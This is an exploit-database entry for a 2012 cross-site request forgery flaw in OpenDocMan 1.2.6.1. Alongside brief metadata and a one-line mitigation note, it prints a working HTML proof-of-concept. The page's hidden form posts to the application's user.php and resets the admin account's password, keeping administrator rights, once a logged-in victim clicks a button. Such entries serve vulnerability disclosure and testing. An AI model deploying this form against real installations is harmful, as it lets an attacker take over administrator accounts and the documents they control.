header-logo
Suggest Exploit
vendor:
OpenDocMan
by:
Shai rod
8,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: OpenDocMan
Affected Version From: 1.2.6.1
Affected Version To: 1.2.6.1
Patch Exists: NO
Related CWE: N/A
CPE: a:opendocman:opendocman:1.2.6.1
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

OpenDocMan Password Change CSRF

OpenDocMan is vulnerable to a CSRF which allows an attacker to change users password and profile details. In order to change user details the attacker must know the user id, for example; the default id for the 'admin' user is 1. The victim must be logged in while clicking the malicious link.

Mitigation:

Implementing a strong CSRF protection mechanism, such as a CSRF token, can help mitigate this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title: OpenDocMan Password Change CSRF
# Date: 22/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.opendocman.com/
# Software Link: https://github.com/downloads/opendocman/opendocman/opendocman-1.2.6.1.tar.gz
# Version: 1.2.6.1

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

<html>
<head>
<title>OpenDocMan v1.2.6.1 Password Change CSRF</title>
</head>
  <body>
  <pre>

About the Application:
======================

OpenDocMan is a free, open source web-based PHP document management system (DMS) designed to comply with ISO 17025 and OIE standard for 
document management. It features web based access, fine grained control of access to files, and automated install and upgrades.

Vulnerability Details:
======================

OpenDocMan is vulnerable to a CSRF which allows an attacker to change users password and profile details.
In order to change user details the attacker must know the user id, for example; the default id for the "admin" user is 1.
The victim must be logged in while clicking the malicious link.


<center>
<h2>Change Admin Password</h2>
</center>
</pre>
<center>
    <form action="http://10.0.0.12/open/user.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="caller" value="/open/profile.php" />
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="last_name" value="Admin" />
      <input type="hidden" name="first_name" value="Admin" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="phonenumber" value="
" />
      <input type="hidden" name="password" value="qwe123" />
      <input type="hidden" name="Email" value="admin@example.com" />
      <input type="hidden" name="department" value="1" />
      <input type="hidden" name="admin" value="1" />
      <input type="hidden" name="department_review[]" value="1" />
      <input type="hidden" name="set_password" value="0" />
      <input type="hidden" name="submit" value="Update User" />
      <input type="submit" value="Click Me" />
    </form>
	</center>
  </body>
</html>